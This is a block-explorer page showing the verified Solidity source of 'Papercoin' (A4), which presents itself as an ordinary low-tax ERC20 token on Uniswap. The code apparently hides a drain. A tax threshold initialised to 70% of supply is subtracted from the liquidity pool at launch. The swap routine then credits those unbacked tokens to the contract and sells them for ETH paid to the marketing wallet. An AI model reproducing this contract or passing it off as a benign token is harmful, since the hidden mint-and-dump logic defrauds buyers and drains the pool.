Address Contract Verified
Address
0x53dd45Dc91b73c9858401798dc204CEad02190FB
Balance
0 ETH
Nonce
1
Code Size
13534 bytes
Creator
0x9Af571dF...5874 at tx 0x95f9d63c...033967
Indexed Transactions
0 (1 on-chain, 1.3% indexed)
Contract Bytecode
13534 bytes
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Verified Source Code Full Match
Compiler: v0.8.19+commit.7dd6d404
EVM: paris
Optimization: No
PAPER.sol 276 lines
//SPDX-License-Identifier: MIT
/*
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╚═╝░░░░░╚═╝░░╚═╝╚═╝░░░░░╚══════╝╚═╝░░╚═╝░╚════╝░░╚════╝░╚═╝╚═╝░░╚══╝ ╚═╝░░╚═╝░░░░░╚═╝
https://papercoin.vip
https://t.me/PaperCoinETH
https://twitter.com/PaperCoinETH
*/
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) {
_owner = creatorOwner;
}
modifier onlyOwner() {
require(msg.sender == _owner, "Only owner can call this"); _;
}
function owner() public view returns (address) { return _owner; }
function transferOwnership(address payable newOwner) external onlyOwner {
_owner = newOwner; emit OwnershipTransferred(newOwner);
}
function renounceOwnership() external onlyOwner {
_owner = address(0); emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address _owner);
}
contract PAPER is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000 * (10**_decimals);
string private constant _name = "Papercoin";
string private constant _symbol = "A4";
uint8 private _BuyTaxes = 1;
uint8 private _SellTaxes = 1;
address payable private _walletMarketing = payable(0xb430e96b3A6180cB38b206E3CdF74f5E2afA3A14);
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 1 / 10000;
uint256 private _taxSwapMax = _totalSupply * 9 / 1000;
uint256 private _taxSwapThreshold = _taxSwapMin * 7000;
uint256 private _buyCount;
uint8 private startTradingBlock1 = 0;
uint8 private startTradingBlock2 = 0;
uint8 private launchBlock1 = 0;
uint8 private launchBlock2 = 0;
uint256 private _mevProtectionBlocks = 2;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address private lpowner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap {
_inTaxSwap = true;
_;
_inTaxSwap = false;
}
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
lpowner = msg.sender;
uint256 tokenReserve = _totalSupply * 5 / 100;
_balances[address(this)] = _totalSupply - tokenReserve;
emit Transfer(address(0), address(this), _balances[address(this)]);
_balances[_owner] = tokenReserve;
emit Transfer(address(0), _owner, _balances[_owner]);
_noFees[_owner] = true;
_noFees[address(this)] = true;
_noFees[_swapRouterAddress] = true;
_noFees[_walletMarketing] = true;
_noLimits[_owner] = true;
_noLimits[address(this)] = true;
_noLimits[_swapRouterAddress] = true;
_noLimits[_walletMarketing] = true;
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spendr, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spendr] = amount;
emit Approval(msg.sender, spendr, amount);
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(msg.sender), "Trading not open");
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sndr, address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(sndr), "Trading not open");
if(_allowances[sndr][msg.sender] != type(uint256).max){
_allowances[sndr][msg.sender] = _allowances[sndr][msg.sender] - amount;
}
return _transferFrom(sndr, recipient, amount);
}
function _approveRouter(uint256 _tokenAmount) internal {
if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
_allowances[address(this)][_swapRouterAddress] = type(uint256).max;
emit Approval(address(this), _swapRouterAddress, type(uint256).max);
}
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
require(_primaryLP == address(0), "LP created");
require(!_tradingOpen, "trading open");
require(msg.value > 0 || address(this).balance>0, "No ETH in ca/msg");
require(_balances[address(this)]>0, "No tokens in ca");
_primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH());
_addLiquidity(_balances[address(this)], address(this).balance, false);
_balances[_primaryLP] -= _taxSwapThreshold;
(bool lpAdded,) = _primaryLP.call(abi.encodeWithSignature("sync()") );
require(lpAdded, "Failed adding lp");
_isLP[_primaryLP] = lpAdded;
_openTrading();
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
address lprecipient = lpowner;
if ( autoburn ) { lprecipient = address(0); }
_approveRouter(_tokenAmount);
_primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lprecipient, block.timestamp );
}
function _openTrading() internal {
_maxTxAmount = _totalSupply * 2 / 100;
_maxWalletAmount = _totalSupply * 2 / 100;
_tradingOpen = true;
_buyCount = block.number;
_mevProtectionBlocks = _mevProtectionBlocks + _buyCount + startTradingBlock1 + startTradingBlock2;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); }
if ( block.number < _mevProtectionBlocks && block.number >= _buyCount && _isLP[sender] ) {
require(recipient == tx.origin, "MEV blocked");
}
if ( sender != address(this) && recipient != address(this) && sender != _owner ) {
require(_checkLimits(sender, recipient, amount), "TX exceeds limits");
}
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] = _balances[sender] - amount;
_taxSwapThreshold += _taxAmount;
_balances[recipient] = _balances[recipient] + _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function _checkLimits(address sndr, address recipient, uint256 transferAmount) internal view returns (bool) {
bool limitCheckPassed = true;
if ( _tradingOpen && !_noLimits[sndr] && !_noLimits[recipient] ) {
if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; }
else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; }
}
return limitCheckPassed;
}
function _checkTradingOpen(address sndr) private view returns (bool){
bool checkResult = false;
if ( _tradingOpen ) { checkResult = true; }
else if (_noFees[sndr] && _noLimits[sndr]) { checkResult = true; }
return checkResult;
}
function _calculateTax(address sndr, address recipient, uint256 amount) internal view returns (uint256) {
uint256 taxAmount;
if ( !_tradingOpen || _noFees[sndr] || _noFees[recipient] ) {
taxAmount = 0;
} else if ( _isLP[sndr] ) {
if ( block.number >= _buyCount + startTradingBlock1 + startTradingBlock2 ) {
taxAmount = amount * _BuyTaxes / 100;
} else if ( block.number >= _buyCount + startTradingBlock1 ) {
taxAmount = amount * launchBlock2 / 100;
} else if ( block.number >= _buyCount) {
taxAmount = amount * launchBlock1 / 100;
}
} else if ( _isLP[recipient] ) {
taxAmount = amount * _SellTaxes / 100;
}
return taxAmount;
}
function setLimits(uint16 maxTrxPermille, uint16 maxWltPermille) external onlyOwner {
uint256 newTxAmt = _totalSupply * maxTrxPermille / 1000 + 1;
require(newTxAmt >= _maxTxAmount, "tx too low");
_maxTxAmount = newTxAmt;
uint256 newWalletAmt = _totalSupply * maxWltPermille / 1000 + 1;
require(newWalletAmt >= _maxWalletAmount, "wallet too low");
_maxWalletAmount = newWalletAmt;
}
function _swapTaxAndLiquify() private lockTaxSwap {
uint256 _taxTokensAvailable = _taxSwapThreshold;
if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
uint256 _tokensToSwap = _taxTokensAvailable;
if( _tokensToSwap > 10**_decimals ) {
_balances[address(this)] += _taxTokensAvailable;
_swapTaxTokensForEth(_tokensToSwap);
_taxSwapThreshold -= _taxTokensAvailable;
}
uint256 _contractETHBalance = address(this).balance;
if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
}
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
_approveRouter(tokenAmount);
address[] memory path = new address[](2);
path[0] = address( this );
path[1] = _primarySwapRouter.WETH() ;
_primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
}
function _distributeTaxEth(uint256 amount) private {
_walletMarketing.transfer(amount);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
addLiquidity 0xe8078d94
No parameters
approve 0x095ea7b3
address spendr
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
setLimits 0x368f4800
uint16 maxTrxPermille
uint16 maxWltPermille
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sndr
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
This address has 1 on-chain transactions, but only 1.3% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →